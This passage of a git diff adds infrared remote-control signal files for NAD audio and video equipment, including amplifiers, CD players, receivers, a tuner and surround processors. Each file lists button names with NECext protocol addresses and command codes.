b/assets/resources/infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 04 00 00 00 +# +name: CD_SKIP_< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: CD_SKIP_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 07 00 00 00 +# +name: CD_CDR +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 1C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 81 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 82 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 84 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: TUNER_SCAN_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 86 00 00 00 +# +name: TUNER_SCAN_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 87 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8A 00 00 00 +# +name: TUNER_5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8B 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8E 00 00 00 +# +name: TUNER_6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8F 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 92 00 00 00 +# +name: TUNER_7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 93 00 00 00 +# +name: LOW_LEVEL +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: TUNER_4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 96 00 00 00 +# +name: TUNER_8_BANK +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 97 00 00 00 +# +name: TAPE_PAUSE_ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 99 00 00 00 +# +name: TAPE_REC +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: TAPE_SCAN_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: TAPE_SCAN_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir new file mode 100644 index 000000000..9bab84b07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 09 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 0D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 11 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 13 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 15 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 16 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 17 00 00 00 +# +name: SCAN<< +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 19 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 1A 00 00 00 +# +name: SCAN>> +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 1B 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 1D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 1E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 6F 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir new file mode 100644 index 000000000..7a081099c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 03 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 04 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 07 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 08 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0F 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 10 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 11 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 12 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 13 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 15 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 16 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 41 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 42 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 43 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 44 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 45 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 48 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4A 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir new file mode 100644 index 000000000..b68efa224 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 09 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0A 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0C 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0D 00 00 00 +# +name: PLAY_PAUSE +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 10 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 12 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 13 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 14 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 15 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 16 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 17 00 00 00 +# +name: SCAN_FF_>> +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 18 00 00 00 +# +name: SCAN_REW_<< +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 19 00 00 00 +# +name: SKIP_FF_> +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1A 00 00 00 +# +name: SKIP_REV_< +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1D 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 40 00 00 00 +# +name: -1 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 41 00 00 00 +# +name: -2 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 42 00 00 00 +# +name: -3 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 43 00 00 00 +# +name: -4 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 44 00 00 00 +# +name: -5 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 45 00 00 00 +# +name: -6 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir new file mode 100644 index 000000000..97282517a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 99 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 99 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir new file mode 100644 index 000000000..38d790beb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: AUDIO-RESET +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: PICT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0E 00 00 00 +# +name: TV/VID +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: TIMER/CLOCK +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: TV/CATV +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir new file mode 100644 index 000000000..91afe58d2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_PLAY/PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 26 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 27 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 28 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 29 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 2A 00 00 00 +# +name: CHANNEL +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 2B 00 00 00 +# +name: 5.1_EXT. +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 2E 00 00 00 +# +name: DYN._R. +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 2F 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 30 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 31 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 32 00 00 00 +# +name: PRESET/TUNE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 33 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4A 00 00 00 +# +name: DECK_A_STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 52 00 00 00 +# +name: DECK_A_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 53 00 00 00 +# +name: DECK_A_PLAY_< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 54 00 00 00 +# +name: DECK_A_REC./PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 55 00 00 00 +# +name: DECK_A_FF +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 56 00 00 00 +# +name: DECK_A_RW +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 57 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 81 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 82 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 84 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: SCAN<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 86 00 00 00 +# +name: SCAN>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 87 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: TAPE_MON +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 92 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 93 00 00 00 +# +name: LOW_LEVEL +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 96 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 97 00 00 00 +# +name: DECK_B_REC./PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: DECK_B_STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: DECK_B_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: DECK_B_FF +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: DECK_B_RW +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C1 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CC 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CD 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: DECK_B_PLAY_< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir new file mode 100644 index 000000000..d89669519 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 20 00 00 00 +# +name: MULTI_SOURCE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 21 00 00 00 +# +name: MULTI_VOLUME_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 22 00 00 00 +# +name: MULTI_VOLUME_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 23 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 24 00 00 00 +# +name: CD_ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: MASTER_VOLUME_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: MASTER_VOLUME_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: TAPE_ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 99 00 00 00 +# +name: TAPE_REC +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: TAPE_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: TAPE_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: TAPE_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: TAPE_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C1 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CC 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CD 00 00 00 +# +name: SPEAKERS_MAIN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CE 00 00 00 +# +name: SPEAKERS_REMOTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CF 00 00 00 +# +name: CENTER_VOLUME_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D0 00 00 00 +# +name: BANK_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: BANK_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: CENTER_VOLUME_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D5 00 00 00 +# +name: REAR_VOLUME_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D6 00 00 00 +# +name: REAR_VOLUME_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D7 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DA 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir new file mode 100644 index 000000000..e35aa728f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 5D 00 00 00 +command: EE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 5D 00 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir new file mode 100644 index 000000000..d70d11c84 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: CD_DISK +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 20 00 00 00 +# +name: TUNER_BANK +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 24 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4A 00 00 00 +# +name: DECKA_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 52 00 00 00 +# +name: DECKA_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 53 00 00 00 +# +name: DECKA_REV_PLAY_< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 54 00 00 00 +# +name: 